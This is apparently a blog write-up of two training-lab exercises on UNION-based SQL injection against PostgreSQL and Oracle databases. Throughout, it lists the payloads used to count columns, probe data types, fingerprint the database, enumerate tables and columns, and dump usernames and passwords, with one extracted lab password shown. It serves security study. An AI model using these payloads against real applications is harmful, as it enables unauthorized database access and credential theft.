4. SQL Injection - Examining the Database - Content
Most databases have an information schema detailing tables and columns.
//users_xacgsm
// information_schema.columns details column names of the tables
// all_tables is like information_schema.tables
// all_tab_columns is like information_schema.columns
//c30j8bn7ejg50isvbiie
Listing database content on non-Oracle Databases
LAB:
| Lab #9 - SQL injection attack, listing the database contents on non-Oracle databases | 
| End Goals: | 
| - Determine the table that contains usernames and passwords | 
| - Determine the relevant columns | 
| - Output the content of the table | 
| - Login as the administrator user | 
| Analysis: | 
| 1. Find the number of columns | 
| ' order by 3-- -> Internal server error | 
| 3 - 1 = 2 | 
| 2. Find the data type of the columns | 
| ' UNION select 'a', 'a'-- | 
| -> both columns accept type text | 
| 3. Version of the database | 
| ' UNION SELECT @@version, NULL-- -> not Microsoft | 
| ' UNION SELECT version(), NULL-- -> 200 OK | 
| PostgreSQL 11.11 (Debian 11.11-1.pgdg90+1) | 
| 4. Output the list of table names in the database | 
| ' UNION SELECT table_name, NULL FROM information_schema.tables-- | 
// information_schema.tables details tables
// table_name is part of information_schema.tables
| 5. Output the column names of the table | 
| ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_xacgsm'-- | 
| //username_pxqwui | 
| //password_bfvoxs | 
// table_name is part of information_schema.tables
// column_name is part of information_schema.columns
// users_xacgsm is a table with columns username_pxqwui and password_bfvoxs
| 6. Output the usernames and passwords | 
| ' UNION select username_pxqwui, password_bfvoxs from users_xacgsm-- | 
| //administrator | 
| //9g91jpytvv5c091xpjxc | 
Listing database content on Oracle Databases
| Lab #10 - SQL injection attack, listing the database contents on Oracle | 
| End Goals: | 
| - Determine which table contains the usernames and passwords | 
| - Determine the column names in table | 
| - Output the content of the table | 
| - Login as the administrator user | 
| Analysis: | 
| 1) Determine the number of columns | 
| ' order by 3-- -> internal server error | 
| 3 - 1 = 2 | 
| 2) Find data type of columns | 
| ' UNION select 'a', 'a' from DUAL-- | 
| -> Oracle database | 
| -> both columns accept type text | 
| 3) Output the list of tables in the database | 
| ' UNION SELECT table_name, NULL FROM all_tables-- | 
| USERS_JYPOMG | 
// table_name is part of all_tables
| 4) Output the column names of the users table | 
| ' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name = 'USERS_JYPOMG'-- | 
| //USERNAME_LDANZP | 
| //PASSWORD_DYZWEQ | 
// table_name is part of all_tables
// column_name is part of all_tab_columns
| 5) Output the list of usernames/passwords | 
| ' UNION select USERNAME_LDANZP, PASSWORD_DYZWEQ from USERS_JYPOMG-- | 
| //administrator | 
Comments
Post a Comment